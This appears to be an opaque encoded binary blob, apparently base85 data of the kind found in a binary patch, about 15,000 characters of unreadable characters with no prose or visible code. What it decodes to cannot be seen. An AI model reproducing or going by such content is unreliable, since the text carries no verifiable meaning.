zmquEIe{yMXmd*Z=#on`3?|aqaMx(@I-hMteHbmWsv(L+~z4vAR8G_bN0k_+SedH4f z^{XSe#?Nm}Ec#MHQNQ&;M`-kN#) zxZRr=u^?0PPhI(vL(~)1GU)HE#G!S`2S^eksPc3)sSo5Ud^#fe#c}eDqV3D%Kr_cn zos0}W&w9U1K3pMBoXUPN_4~=9AZ;G+w{J;Gw?vs(-cQde#XvylHeJNTelvlq-sg(;RSc(YF|_L030`RPHO&{%Vvh3P@9#xf^2PTZWsyC>Q&zCSK=`SjFv zGOF$o4JPum6FI{DIXIFp=^A+Vrse3ObmP&w&E(wl;l~d=q7$|&@r$4AdUr{7kI4s0 zo8XVa`Afxk;v)R=Zdb0;Y7m;{RM8Z-XoTd72BbKiaBmbjp}7xV1AXp!8m+7PiT`zH zs&Xp>qoj`8cS0}6i^K%NNq*DyOs^mA{yum9TJm0%r_rXuHDQ;ES>>r21**TN{oEnx zyjWDXz9SA zZc&`NT@_%DJZTwu)5^^)e`l3uJ1 zyf2!r#UNto|H^e7y^lJJ)(yTl7GOcQ|LK*EWg*5?>j2l$g}y%1hTG3u&2pIst#ods zbxi7yQr6@X_ZVZJv0nh?ZxUKpNu!!%T7X_vNm2AXdFm{e zh?lUY^`nQAe7i-yFP;!}zsk^|bQ+a0epDVvf@{c?ak>2wCferUwJ>2_meJCFEa-q)=FQ9c3oc!@0IHmFAyGqaZ z+gRCEoc-D-=tLXvurq~}ZlCJ`N#=hB)u`Xc!uIh!0Jge3DkWsVXVLXygmdCELXN)#bw9txGrLuSbkQf8@SD3K(Tu}qcz*D{>nKHum2 zJI^`K`9J4B9P8D)ec$Wa>$9(Qt+m%4?rpEztSdyZ_0)m(f9Cp)j0$(((A#!X;*R-a zl|K$f4tHnuLnoD#!$Z#5FQxnj_>l{Ky}wI^-(! z!=Q_AzH4I1Diz~z!oSju9w@9TwyMI>!^5`xmpMK20p zd?jL8tfcRHaM8NCXOJm&PHKLi-+*J2j_SxYjBX-Uw_cu8QP6SrA@+=px_!a)h{a%hwHq{1o?0Cc>NZ87~lMk&P~3gOLw3!@%UxR z7M_!F9710Na-TJ7>Y6AVxIi9~9Qw13yW%}s1-KVo3e?A<1SvlP2>2`93i~BfV1 zU1u@zO~dL|e+!k*_`~VZNq9EX-gL^RusZOB0pq1-a~IW5%aAqh6Y;#qk|jf<*l;R9 z-7ZKI#yTyt;#o#kM=&My|X7eU$79S(No@h z&M}|X;)uW3`q@0+#Ak~v9v0`)*sOEg=ys5B*VLCBjR@%Yx_UDA@UXW(_B`q#R@W*_ zjOJ$1 z`q3^etOBjE% zu)2!8CIfxO1;5VvtUgeeYr{Vsm?GZ!=A-;Bl10rs=QEU|KJ6#uZ!`B%R2I@!zJGB0 zV36kmRn)L>LL2pQhsHkaedTPdu0Yj{p`QCK(XPSkzJabUXC>39Juf^3kn%HI)mwP8D zoZM^gM7QiczqX7>O4D{V35;$YR@d=*hIDVDv2h4UrrTWj7ay`x69V! zb-0y(V~Et#xNCN8G4;01{fkEVduq4soZnHT+I`~vPkgo35lq-$|w|KIrCFX_jTpC-jT= zr}<5DvR5pg2QCt8%}Zp$y|r-{Z;WmsR(IdSno`@->hZZ zyO+s8pWt=jZWcW<|N5w=q$f4LJFf|RASJC<6qUSCt=Qg9(m06yJ>U^mcS*OgyZBDW z{@b~i49l3dzhNdO)9;B^J-4LiZ^QcO<7jXK+eNFpyzViF6&4giT}=1;v1m zBrjy@kE@+Bf6UHHxbvsPDN2vV9t&%Sg%vGncF!EHVEmqzejdr`pJCYhsU=ulOSj`i zR6!#im!F-yX}B;lU|gkvD+nIlX>gZS^h$jCZte2qBS)xaCv%Qxw7A$=a4@)a$1fOt92>bWErC8l_4u7icuAlX&={wHkYJzuc5kF?k(uhG@?nKhX##0yeQ?TD= z3V$K?o$`u>PAHqlo@#~s@}DUVMXfU0mCj{9u={ZtR=4Z)1MdpEFH5<;oE9bod3*vH zjuowmiBY-91(UjilMOpeFGQSvt=zA4=%skP*@daE7x&vrhYiw%2|luY+vIx(6W?;I zF2RTN?R3`G^%i;=l*F>}#H_(f+#cmwb;-@`4h3-`_EtBum-Z{#`o9oNYrwP6QkQ${ zyfYVXEcf>LxI=vST$~u)3aqYV_Pa=?n!=~7CY@h}Z68vVT6G_>&2?>VpN@=knm=FH zkfCbPRa2J2vhdcSmT1MkCwFBee$?e#-mX47l>^2z7~M*&?yGE$f;d)r5i(+dc$ep8 z1UYwv`S;{(tL?z4tUh6P>W_`${?+@Ob+%d{{1Q25tV-*wT3ABi4)5l@JO$c z8XAuD%$KJ*3mEf%3VJW^&buPkj6381PMV&(?+_i;wP~GcxmW3<=|?`e9=N?vBL2H z11W7IRP1|uhu@7v`>^>l`hV@)jqSfRSY3)39`?5QYo!rkud*LrF}!3jN^^OE|ECGQ zalDgZI7vZ8uv~?O_svNB2)fRx+cJxe>^=@XfACIn?^Tjn9gSUo=j8g|57lCIt+H*^ zr2^y^o^ghT;kR0+T)Qn+knb5mb}ag%#j$9gOV_3DT5Y?@(J?AzAb9e{$1x{B3(Mf1|0H*N2qaM`wD?@!ia zbt%XL1g)~aDHU?XZP}`ZN)WukK&>MPTC4h}9h&QYaov?U+*}ixjD@ z9UFS*EEQ^1ln~qaE&o$b-)uyX$o#on^PnG(557CFLZ4doR@P4A;ID({w%xZp=~-*R zfYE)1)vYppsk=XRMfV-eKf>#+zve9&hqN9J-kXaU-6pIqyM^Tb6TFJ!v!wWmC-dG|%^B^FEBRwGD|`Nz zro1q32A@JSn|X)F!%IyDhB_I~jmtzN(pic1V(pzs>i-B79mD88$LbDf(CliPi=7n~ zsB``)x1yX-cZ@kzx%E*jo{|i4?cvp`9|e;yKb8y98VJ=)n-BFlFZONg-}72ABZ~i5 zlZB%bM)w6)H=Rw;zvPEq&h}J6DiUs$y3e`P_)!)nGpnrU%6vi(RjtsD6r0?AJ?6Qq z{qo79UV9lVhV(qHEgi7B^0=-eou~<;+x)L|KMq7osWdDPMY+@Es92faztQ?IRU_74 z=y0tet#Oi(0EgMmpOi~9Bp&DRZe+bp3G4ZZA8j%o@>4fFA=r{0+kacIy5Xc|f0SCT zq}>0`5M?aeG5CUa;DLtE`+Iygx$+#YeQZoeLu-dQ``bOo%!uj=CR03XZ`pmUA?RDL5sd%!uv;(8tj@3Oc z$86c3*njiEo;>3=X5#*Ifh3$le^_MxA` zS9C8ko0%#^P#o*+%Y2=B)}v@Zj`W?(!)dSI8K#f0_dPqYx~qIFaRt)t_s)>vw{utG z+qVTKrD+QfvIkx)k9stf&0~%0t1i?iS27ls% z@vQZT!jiYMc&Zv7zS7uV-}3l_Cpf4i}|4jM!Sm-jwMX;gap zhaFGEq>B32Ec+)u;p7s@q~Y7l0*|=-sV^Q#4?YtW@Hx{p1oydPa7W`FkuU-CCyo3T z#n}4~uduoSPXvm6MEnHF&AD@z7PD?ic)hCSoO?SlrnEmntX4YS!th!3=aHW=J?UyYzBtK9uiryN9OS5C%>7>1hwoF{9M}8%^u;PF?#1J`G4Xwa)lDSpka^}6 znJCKws_!X{4^st5H!=#U* z*yy~U_xrm@jm1r?+Fs?^-gZvs%dKbLEqFbn)y)^y{9V_5i`DJ*JVpBaBEt)6#^Rpj zfn~!(66#i@FKdq?W+VBbrMSXz!oL&lFd^T>Hwg;+N3V@d7nR&XTi-W=NH;qzdd-IWNVL z)b6hO&4u*{ExA_3ZX1fxuA3jV*Z)42aP57}eOTR3ag@(#4r||jI}6I*iw_Gq--X&2I^DJvQU6rWY*x)}J>bTnlnP zR@YTM?uRzbHuCq!1@Gs4Wqxt~OWkvaqqCViEu{8^$bXeR`Z^ZBJ7@2%+R`5OUH#_j z60gs0Z#)~u&mh#S)Mih$e!WS!_P*NztnRKIaaqavQITw?trkzreN-0qrjYPjl$1X7 zjw$BuC+*gS)0B2YF87U6mdoo;zt!8L_=9S4k#c)l;rTrpcsFHkt+g8=E&w#&VRfxk z$u$O-^?yvX91>Fu3LyG~Vq3cY!d zV+Tu>qGq#|y060e^#yJ_D`>vQ>M|8;G<^B2n#H|&Gm6*$o&kqX0h)tY-Hu7AVx|eg z$VG2Iry3FWW)e!DNU}gm*;sU~axBOCEW{tjVvLy8KLI7PVYjEtZAu@@8n z7GW_EdrI$l=Hq?oVu7l>Zw$tqH9V*GCixur;l-?FO2N=t5k#60l=V~NlZ=sK*81~u zxb53Pa~P|8V9;EY;YY`jHlvqsSRBs~RYbNB&}Ro}OA+CguI9e_o&H|_(rr2M`(zIv zX5=U{9p?0Ype>lFDF5E?O^@-yX_EE*csm*-K4NuumEBZPA!DX+Vquy+vf?+EJ)-TV zaz^it0%6P9i)oo;9C)!mu4dhPWtL@1mmH@&%WD6}(xNA(%;e^_cx%oF$Jcb%2cHqF z?i2RucCK+5XSSXf2_9$aVjE_SjC$-x^$01rp4z2;EIR5~K>oZw-&Whd=NehHoN>fz z;X{>``%72T3nwoXh`6ljZeQ!apRl^eES}M8-{_;&5K6aSqEL$4X>7sMaHadtFUPM* zIHu1*YQGOp_1aaJ1m6lc9Z#c^lStP6VtaS)G2@q#Aw7Rs*3V1Uh6mgzR@d-)nULSx zuxC4+>ji~f-re9l`qAmSa7-kAyX5z@y~6X!qPRCr;WUI-cU?UAh}bFi;F#4F@~@}k z)Sr}#q<`b%-|!dphtF8u^Gk2Z@4d{N8SNW*DJjmG$h4HZ7<2H(c=~MoLG~k_oaO`? zZX?<1XE@Zj!uy{;AK<)FsrckfjIw!MLEGtYKg~5=+;$jwaAR2AN7Kz=#$>VQWA=oQ zv3-pdGG6G5y_?IDZNpV5)c>}0@YbtlfnwV$5&rEC`g#U}ckOpz##v9y$P=8l0MiE_9%bWwaKu(~~E z%$mssue^$!&iNBDO}67JxlIO0_hd7Rg_!Rz2o(lBVlYYR&R(h?YU-D_=oE!CZEcFBKPDz zt022Oy7|V!t~9qwCFxPGT!xQ7u2L^2NPoFg!S(aVv-RtXfVKBGf5qy)VI5+5s3R+7 z63FMmUJ!UewRoOsoaq)V{)tPtb_b@pua}~u?m61k_cnf{3ZQq`cG124xZzb(zYsBN zcScSl_cedlujjvEbxFr_qRr#PH4cj$GYi4V-Ix%~V;e5xDh;1oB>fyDB&qcsmS30%YM zpBon#tA-s2$9H|b=l#I?-_78*2Y}`bR`+5t2hQk2?T&EM0P`!>rl&Q&$8Ni=!KfBBHd+ zx}B8xJ1Y4MpNptQ9cwer><;8lI6=`jKt^#Ub$MdV-}U3$JXW{QSw-efoSZcYR#{fz@p)KFc5`dWiO{tk9piOWjxfX?zx( zxdIl}6O={4Q;{dfVZ z8~Xn8nXDbO27XOiPm?|SBadeC{`_@Jc>A&OgQ>AJMFDoFyTi|){r#uaRVDp(&7o|`qQe;76|C-!2Od=)BRxCwV>z34XIQUGy1IjB|bUCZ@cQeN0Q>c$RwwV zyt=y0!?@o2r{OCaz7rd|I9UF|>V^uBsT&6E`yg~R^VR&B%X=q7GHmoln2Vm}GnMFm z+cUyVp;@yt?$7e20kytIw(*>GPuK*!(%w2es%@slqgGgdPGS9g{Wn(E{>G~DJ0rFB zQ#&*R^_R()1?J~}2MB*yh;F%~Sj>}PXhQd6G~sP^eEA-w{ za)tPXDDK`o&ipjz@IYp&X^Fk^n*Ht}B+XBG#!@v;h-kGJ9k_Qr{QdF|?Da8<@n#}? z*wxc~I#9^qZfx?OH2ZRs-(&tAtq-D~v&NoDeP%ynivMGjvoyNz>eEpTN57{Lj8vfw z{vw|9qdC95zDAx*_QUv#o~7JOgguPOaWV|`qK9cJ-qBNseInwBbl`cQJ6@otF7uRs zciR{BGTa>gaBE}ixvL5UKW6+C$Nj_KHQYWDdbPZ7x$P)M7ayye@;u{&_SIc;F)Ad6 zjs|w`p4m9-3N-bY#UH62%c&W@em~ZnaF;{**~a*rcIp*5lOHAUwL~<8qX|w-{OoPu zY{TdhV0B-Jh%D@iu}R?GcD44tG~NNC%R%CO_ua`%@!F4)9e%H4mf!jYEb5KV*WMCSiKj>iz6jLU@wSl9`hFgMZ3^;-9(0neB>& zQBM*hesbLvalRm1xJ|g!u#tbS!gBNVi$^Js2$%|!`pijlX+Blkv3}jXK0csh(qk?sgGlB-b-pYPgKZLiiujr(>nl$Zq2M%_X$<|~1&xUJ9 zPO>}{YLedbQzwXkKz_vWOqq}Vu$@dr9)*poJSl!}R<$g>Fe{5Y$ zM85EL6qmm*s=B{KeaY~Z-}E81D@>n8n(RCo+>Y~qI!$S<&r293#65XOSKnPnekF!5 zI#Ln&hzDn9=zM28R`+A60r?qH%4_{&{!dl>j*TjMxxaF{TV4Blij=8CE9~ak>T}sG zcEeAjgD(3dsW)+HYM%cU?IxgfxVS)3$6sna4(tA+Yp%^iC}7j4an(JEt^JrR`Q*ja zE}4r0>|}c@SB_8mPBaM_lpA02#Dho8EG|aNbz9j!*yYAyT`bM;xt#oFD5++@_r*1T z;j9Ff=v-|x5%PYiJuNgVjSxNGH^Wm}_4SHdwDe;7Hl6m>} zFdJU%{n*5-n!ydU8vC2BDKlP8E1Iq{rsk!X`rY12`iO8h(Y}=)W$%*U`n>i1V*UOD z>T{ckP$%!Q+}$IFj1#M;_}RLy-ODx8E)`R}%+w+p@mV@svVc-l`>B#=hG3gl0EuVq z(|f1$FH(QVC+(QCx;Oh&iRB1r!N0ZZV=}Dn@z`?Nua_=gtTza|wBshn&x2%cf;XOj znzEGrFt~S6TJoUVeK}#TM;}TI9tBDAdYv~(UL?)8qG8RkYqyyolX|tLyMA6mj@3=L zeSGs{-DJm(EV*-{qFB^r(Mpb@^DxnNe4=WktVFUD>a_ z>n$r!oVj@;W+9koef(X&e%poBZFwT|nnpe1(9su%st)8?%YDl94!Sj{-5Ar*bb!5J zpLb?KYUBOdrv7i%U&DX7lAKMY?4nhgpwAjC3|cIEN-w?`JK0RKM45Y$~eLZoG|bPw9RAUNia8PXQicC&KqzUz=i9 z9;@HhyQaH-974|~ZYILd4gpf}3+QLU#7i%)e@5l0FeW z@52|HHn?lSTkC0@IZLf+i}vqct`+^)vq?nH&JnY%WH;Tkn6iy;;3VDE(}LP+^Y4eK zvAXBND_fIwYJU;l%WY_OZ=(*_=6^)B>vwr)n*ICh!tqiqoC?9x-aETFW=RU9PDm%J z5x>hhu&7O5L|)8u@ueoRP%^Wh1Z{o>6v zq7@>YF1{FD^z6oFA|yXqOe1Vt)StKStb6;XEY|vw$DYe-_T&wRJ$7hy9V6D6nd=^z zKAKw=@53)RLxmG4!uzdAP}M2x**Z)jQn$WetjB>Kt9!(9rN7bLGJYcNg3+<8XAG(e z&z?H@k*RgrMLIoZbuKfg)~Q&EneEbomdp^wU-X;g zW+FWLOoZfNHGzEjEak52cN~m#IFHASo?Iffe6hcd;!jl8$aDr@;YH=aeCAZ!soQK_ zp1wqiH!3G;{9_~R7DGI~V|3Bq!fhtP)2a*EXAPBJRRrFj7;UfKEkVa1b7zi6eO`1l zG@fv$Y_m@t+x3r`r5{Liv-yZ!>vrHhZc@@~HaL^oSaU(5HVmVS{#JG~5qiEcIwwbU zpv*`*EpB|TvWP}m{q0q6voEPda-(YcDc1E``k9ZE34;h0-iCR;w-J2qqAfhfxzf$0 zH)idoSJ92p-GkNT3#pomxOXY+m2GpcivdL^B~w7lc2~|G>D@RDt1OAZ3r|n#pVE49 z=A6J!yX{`ia`wS=p|{7pCBB{F;2eozn8N6ybBWDF7mk2e)5hta}2#r zdx!NYb`$5wG6`j^pI5KU6%!`i^s#h(yvVZl#Q<1 zFwb^WBHc6L?TB)d!_TQ5GhdhV*2}i$RebchIuZTH zvE`UJuwr%h+g;c(O{>(f-{#%P&iN%4q1Ozof)6JWU2Fv}JKK+X&9dR=i%YfMQx>T- z7}cB;krWS1jDIy4c6R4Yffg-gLyYb|tnRPRp*+V8^4lAdXbduI=g2yP8c))mrx-o^ z;zZ)_`9&kAUT60*SND4+o@3X4om7lirF+@Qx?<*wn_6vBU)*~SqsxZX#dSn=5^=*@ zoJJDaDpm>w>^xr0z8B=PJ3h0w$Vn++<~IFV&(sgcPadZ@WnI)6W@}i^SC@Z6RAA>R zhX*#e@beg5bnkC75t3B0n+}kOI-Ac;WKpRpRqv57WxQA#5fra~sIHjm{BZp3a=jam z7h*c(>vII6eMmdp7Y$NWIm`ECrs}(=OlJmV*K5Y)x9>a zXTux(>G&hUP(M>9>tX7>11phNeq}yoq7{)exJnTrR{BI%o%Q4CZNe2Mmb81vWLw|8 zxIsQScVH$_HZNfPcaime#);KsZgq%adM`I7FzBk1Fdrc_Ydm=+)h)(0NhfiKL#5kn z81FIb1>c?3o*@(*th2{ED=2R?iw3+*p4idV-S(g{4dXAmH?^4v)#py_nai;c7MtsIBu6KEE@bE-Xkj~ycss^X$cx)?}*kb1bpT8g@Vf$oyPl{7t;w;{V9 zb2;XuUMBr2s2yu9K6PB2Ie{4)--B4)ZF}E55sYD)&K{spHf$DBPi>|)ymhCh;kg*k zJ))nl_h%kkN+zb`y^eQhDa$R?$%7VBGH#C-Y3 zaQ%C|72&|)2o|4SAC1+sxu$>-u21pKI@2ks?YUBuw3HI+{va(xxIB_B3`a^ zm*{d^Fmd3)>JC!-isf*epC{lWlKM>2^X|1=!XzQygl@KhoZgXfqz!2g9N?66WUW z`{+KtPQ$yh!}{g-$8pM~cRjM|&$E5lU%O-$VtYp|pIorZOQt&@`!YtC53Bp-v}wYg)vyOc0CcHW8{j$wL(@s?aY5LbV3%-ugzL@;+RzAn|8;dh;^5`A* z+EQPY_vX6M7+rp>F87Mp*vrXNrpgDj1B&?6szw+FkL0o#>q39%wAYV+o;_YEE~fF; zXt8;jyfo>!d8s|$&lBCIznd)^KNox4Li@tz`5F3K`prZbo^woA_H;zf@ShVdoE_OX zm(^Y3KOc#&Hq~^k5QsT`vnFcbRV3ebODAdkr3L5QsD3N=Ev7fGZoB$aeOu(R!p2t+ zt7|Z1^GlIPhmChXx9`)|Kdtx4S598k33+Fjdx3WOi5HWIL9ehMz0V%`>s}9J!wwb& zU;e#7<}Kp3s+fM1PO?}JIOlSEAR@3!}Pw!1z`i4Eep>y}mMEHvC7|lzmvn|Tv zFIbqb&dlh){iwb?XsVuKU4C|jd$M~j=;{^1r1Pa|vp-0_o|OK24`0&i(zTMKeFL*W zGLy!iG5(5Rbwk1ecEps2IBtXEmjix{M+uMb_}A6$taHW6$5w{LU0d0XsXO@m6uROQ zFw5M%kD8%4beZ>f_?Z^R#Se*ELFin1v)#}+>t-Sp?yb4hXT$MUkp71Lsm_i((Qoty zyKjvBqRVo@>*vqQI!kM+ZE&te9CuBP;S)*ibsDOPA5{r;8qO}tG#}$`S7LOhFn&yc~09 z>gi$s!^c*{vgd5E&nt^#b(O@-p1yfe9xfwzJs@-cQkqikWsR$uc*VtLSlyGdyV-3v&pmts1fQuM?t*iRfDVT~r|NJ4pAOI!h+^A}zB@ z9BZDGcDvNBCwKd7=^1XhPAq3)bfvJmiZe8&9|~x@_-KjoXIP8Qzc)6u*U8)-+SeF3 zDfo2e{kw-x@$kPpXT0lRBoF?*@A>`!>iN$8&N+TklbwZc&Y*MN&HjL%5!y_I(^lO+ zUdJ0u`-H@fda=rK9n7K#o;T#+4f}AJx$cbmz+{h|!^)hQY#%QxwO)KG-K>xv>73f= zewz2&mA}8FN7uxgx`(j3pQN+m;^t2EtK#I!UKD73Tf|Kl@az2$&Lhcwn8U|xO`4F; z;&sk>^|DJLMT~iwRNbB6$Y=N-4TqC0?c}cdqcO<7h z-?wUgc;=BEONp%MktLzS0j>%j0#Rob0!VM(I=@d(*xqmY{iDLBfy-V?J4re}Vsz1O zhntB|Z8Zyz*O#ifeCEMH`XBOAE;BMK?-^Xx(mszKW!SA;I)>l(iE`>-NmN4#(eZCH z>NY*^-jE%-wL|B+xhN-jo-#&P4yzlrnljrR{DF0THMLN+^A`7w5n*2MNw*u%@T^~| zo)8Z&|G~bJGEn*Z<2Nq3tN1c}cIS^CxT#bqe=xEAnp3puE0|`&EB;ih0x%v9@zNhhjzJt0X!nEu$atJSiZ&tGVjze)(r5kBF~cTDhs- z4chNI&oH_QSl#=_m99it9=UFLHz@S568p@xa~?96X*8+(kE9Cx@)5aI(XPt$Gc-y{ z!CGvJzVQ%8`H4=hZ=&C#J__SEf8J{O5__z~^ac%{E`=7hM~@sOEY*9qpH)Zn(u6?7BV*B#80B8nNp=qh1# zxuXW*h z@y)Bn>z^=2w(%EUlT+WORpH6=pd;Ev&&VHD&c3u>Od zX7{GEg>y15>|ByhL%V&jmDT+nx(v0Ig5v$}ixN#F4Gj9|;y>aVN}47^&Kd2^@5DayGe6=rhZ|F+={SMDd8uzzd zz4LiEgE3*-slyVDlNYTA7kw&OO-K@S!)J$2O}Mzsp6SjCbo1urXTXk==pO!NBJ{rB zXUn%MH1*!Aeyw631={6H?bnH{HLtt-8q`>Q&pt(<@xEurtE&Ab$tr^tzKRriO{~|w zk|+~87#rh<2~+Jb{;FbiIpmM)xD3ct)4A(B!856%uhQLPc6(yFjw|ac&&atWv}`B) z=9`&y29+X79;i!mM)Ut*%gj$0iYA=&KY67q$Oof~o?YHdgjo*9{r~V;heVa_so)M8 zBAc6v3Z8S)YJMIC}7_XiDt^ZXGI>`JRqD+o7$YL!l9Mn1Ur}PqJQN zMD$K!rTHs4Pq!6hGu|HYHM*;T(N)LlUggwP`?aUtv>-Uw<~L(Z&NkV_e#J|6<5Ns8 zA~?y5j0H2tqnnha-QS5hpBtTTcV9WGM>i>-bIsk%Sweju8}@gc<5*phGm(+aetGz{ z#e&~?dmVD9cJaqQWOU?}WTKhU8QT$^q{S)GJSujwV|3`ja=RSwANEH~{+d(W{1wGl zk_!p2zvCd^HxuCjJmH`YMLa`z1t7`WiSg_2f)AB$gez{KBl8J=0xcd|@S9Kt0Tg9*wzp@N{1Q zII4x!J>hrsR!ERfUG-GDrDb_Vb;OrlG>1$0BE0T9zI?PAa&Sr~<>eu!W)u5FpVQMn zf~T(-G3ck(r!e3Rw1kPg|Ak_TbkXk@+E`uoK-yiEA0~8KkCQ&d9xuW>=>JwM>&#F;^@<|Er-OQ_Vrtj2EL{;IhJYc8Cs|ax`Thm>{edSji&-3*z z3oP#L8r|rlzL4r_Y>Q z_x7O22S~1c3GL|CS=nV_T1m@IX~vR6nvFHoB6!#6tI55r_0NBlgn9%*D~+zoo*o?$ zkvx9xgl#OX4_F|@$U8go6?oW@-qj2~RD{emvDQ#qJ+RRJalJ~DqTI48Q^pI(dEfKox0UlHR2+L=g}T>o6V7b#Ok|tE zh7MkzMbz(CI4F+Bf-H?&E(OLh*pl>8+qG!Ka*iDTnQrc{s-U?{|@YuuoPVc2a2k za8;-4--F-H$aN~#+DWiy z578F+<)@A-)kU{()#j=p;d#ra_2t@tLi_E{#t6Eni(Lv#kzbN1Sf~G#MmRT#a$of| zBP7?d#?D*Vy;CdfqRVHF-a5W_zi*WxXQfwEgjEp!r9_7ja%zPJ8V=t+4sQR0Cnl_-uqy(NHJKn{lj_e!jWaaCa6yWJaj4R*%`%G0rn6feAUV&nH9iO0EP;PNGYdoNH8Z?c^5HrhGVGfo9XtTZ(# z7p5-C>tZfO_iDg4Q`O=I1>yqTvhHe~8zAZbjhq~y&`dQ!pgGXJ{4luhwRmq)I-GCG7C@6l zc799{j5ay8+1fPT3jWQYv+ZO?Y;S#X>?Mw3M+5s__q_Bzb@uLQK;FOZ@oEVosU!XK z^e*}Q>KVVWF-O`zJ2txpw^pjH`^G1V@In`e_1y8#Vb5OLhzaKZec~zvyZ`@9?@ZJx zEte8rzvA!%v9qfJUv&G3INuVrpDgj&*i_`E`xEyBvb+^5-VNru zcd(=@N`C16S8?*M?m3_#I&LshCkUa-ljPpy!>%uMUh)wH&>(>d#;p_Qg%^!z96XpwHmjR9bH)MX_W#MA;U=mfn z{~%V2R_6<1$Pl#3p@pYYsoiZ(ExhAN=~sj6riCX zeE=K;Q3W^)K&`#Yq1H-;n9B!o=8=>F$Y2N|pAzBBKmt(4!wO)_=CwTq(q{ODFo3NW zi~tA*EL%zez5=>5Kf@%#76Gg`F+R+}SQ#dR$Ai}edI=`sZlK?wqIobRKs6u_gp?m` z2&NN2-i!Xx7fL{Zmgj%P0KJoJ+`t7Q0X_twjWcN>JSw1Bn6O^zJi?J?Kox{|63q>e z4Z;71bqH?&tO??Sp#Q_82yPV(GXJ=87X$~P#6YJ3L_x3;QC5NHFbojJMEF(EIS3u< zMgczw?r8+rZ^CW@yGA!G<#8^j3rikk!4E=@kh(`U?OL3fW}DfYk#%<+I}Us^*bd0h+~q^Db@CwBX(VUWxah zRODW&f56fY;&y{g%sh~}D^z$B2?Ie7Zn700MGwRZ^VUndiLwck2Ev1qLHDbruD=ur z0I;D3L!)2>qv!V8SeSw!-ClPJSOma0%siAf5oPZju(LS>%Z~U562OcB{sTgUP&pAJ zz&QYndj$Yp#K*+nACb)Z4(upUhX7PiCnF>~iCQVwdXb1dU>1XP9s-wSCL1|7J|b%lIFcO?R7h2;k+LGht?`i+4F1d_K&#I^x> ztsj(`04}Is5$xn*)WB>A0N)9)2u=hs1F&nsMzHkI>|V5w9D|L7+5-@4Nf-IupF-@c zh&up9((tG7hrmXCvqE4gkkRNmtsjt^6zB`o08|a4)dER+1EAO#@LoVNC^1B|&;{my z37h8*3#0^CQ*_W!0P|c934)Jlks?7>#0cLl5w!sFP$~)#2}}{t8v;y(+XdX{V^0Db zKT?a+iGUxb6mZ@g{uTI^;(!70Tn!Z2_gPNs7^}{@u}6s8+;4mCyyXeC?B-j z5cUPIfjVjVog77P{UNro21XM)CR*R7_?^5pDdB3;vk~oy1eV5em$vT;-ia6@*aDTK zfPt(af)kYpFktjRZw|T(d{^)7ERFg_35|(pI&3%(_f|&!GP!j`ftqAT8!vRrRI@(Ac*kb+1k(CGp7P?XIY_uasmkitOuJ_A6}Sn+7_tm!kN$JaK3}WA$L^`e;WdKvh#a-8|m<6t_I+f#93v9VaWf;{PsmUm`%*Q1!LqMxX2 z#cU1p)=t{EVRz1EWhn8C5y9*4N7V<~~p zUMcYa(GRo^D1y@0mfcRI8X9MRHi97lcLPj6h9b@bY%G90$k^yZ@*4%_BFM8BFo}Kx z?CRCc18c!0qW1(D_9`2}X~CyLrHz0OKtJ$)kbn_h8n8Hs0g8b>J_itnqI6^TCKIMU z0~jB^AgTZkg@2GxfaHSyH*{bj2R(lPn6;>R;6s286rKWHwFZbL9+7qBE_f^?gsuVV z3pw?mj7|W^H5DhQrf&dALCHw07g!6RParh{-P!wX=%KSDz{p)7P@s^&-~ipSW2+Gp z$uf|&0g#hIf%B;*)C@<0vDc`5P3Z-JOmn^k*^`1>SUx*?^1UcPDcKOYoBb|Q?v$t7 zgc1n`hz8&`20fq1=S($ffuD4zxPseb034E$OpABt3)(%kwy6aPn*;j4AVRvy;CXL9 zlB60n9%Mzfpb8a*p2y^`q#Wj?qe0K>@_ik302v3fqwsGb-?iGhS1Da(v|h40XjWTs z-hcSYNxVM|&>~j$AhROIdi@!#PryE1i?^id{8aA&M$i#~CV7bMnR~49)*^hqLcT_h za_&XKF={iote@7K z@cJ8~GgGO^$hn=pxP!I+y958bg4NCf#}Ie{+?TUZgJUMcx9NwG{=?qE7w=xOn;krG zd0#bgA;8yyeGGemTbNKQ6K6TTy>)oKUQT(i68dil3*P*&H(3QUZ;kQ4XHsSf75Lfn zpfDga+(tJ^M!Qj3i!l&=@-hvPITTZU&;AC~{_v1kmpWMrouyAjei;%aH+`2)uQ3Yp z7lfob(8LC%#=tORD65e--cJYb;Tdz%%}_i1ZsMdG;%j`TRQPm}qOx}3%g;9gg}Zh0 zsTIy3M__(<+508d9P&hbdH|GifN$aU+CZ__%8Mn`QptQWAUSL-@XmQfk2whcNj2{O z_GT147!GIR1Y#Zv;af0h5n^!eGHj@9l3>(I1j|N|woWKCbgt40snz$`)9Z-vSEe zKNF?X41*0}TH3#cZ=t-+cvfuK_fa9htEu{GvdxmThgiytccL#wja0UjrH8bU)=!eX zv(M5bJA@>F*Fd;^Q{u!00c(-O3)#pm+uEwwxFH@+b?iK@Av{!rK44E-UYQVc`*+Mg zb>f7J7chQ=XjO}PGYu~hVPIzVD_H*LsQR7Tk)0}UiXk>MQ*_q28H+6XKB{rHSVptj{8UFw**Bq1-;In6f*$%W$(ef;Qq(qUZ=w(`4oG07S)Pv zry_$gn-}-@Ok|$9N%L=vE7qKHmAx#2$7W#q1Pe{u0ZzWC^;(8B!I>LxwVy3EjgLXo z%io$kR(QOxDj}SKqzt{mGDyZrf$6j<3iMsB6ZrT2?mV+wdTV2PU-Vg=%qOxuK3Pw; zL#0Cvr3ji$EzYbgP0_j+!g5xq+5UNr!BE4*R>7W}QPaE|^%zpn?)VVW2MaYAUz*e( z5p_FogYjl1dri>rxX*>DR-PGXgk#W|Ykw3F=q=WM5#;_v7@KVchg_aO5W7H(w}3G> zm+Xet)5K}Jc03Ypt~~z}{n7NN(|1EAkgo=TmP$`Iv7S5sHQ%FTZDh@$pu=yhV-sC} zCHqc9=1Gx6$NS!3pA_<`Hkzecx5foWEhIkX;P`CBmP57zE##;w^-_!9E`kyM!OTND z!vh|@A-uJDZv!+Ev~4{xJ7`*y2*@kmAMTPjrV`8NV&o{pB9}9KPlrcdJ|VsqNh$sJ z-JfqR^v(R-K!2`VKq9aXw$|>!Bh_i`#Ft7WgW+ft%ShZGhpJt`vgQ!U`nD`hR>lZ3 zJc;D#cB643eA)0B4K*jLl4j`h)~enkD}RRWW;Icy?tk3`+!A;M+xZfKC%4N4@0vW( zO?615fxHK|Jo6@7Mim!rbsFTDjh3(Wwl%k;*ac13Er1-pdwqjt+-&`dqvfwNVP5{H zis+xs59T}Rz<4-cBi-4xR0363wWCMvE6{bB8Z4HwI35hokR^sfdTxEHzVMaileuin 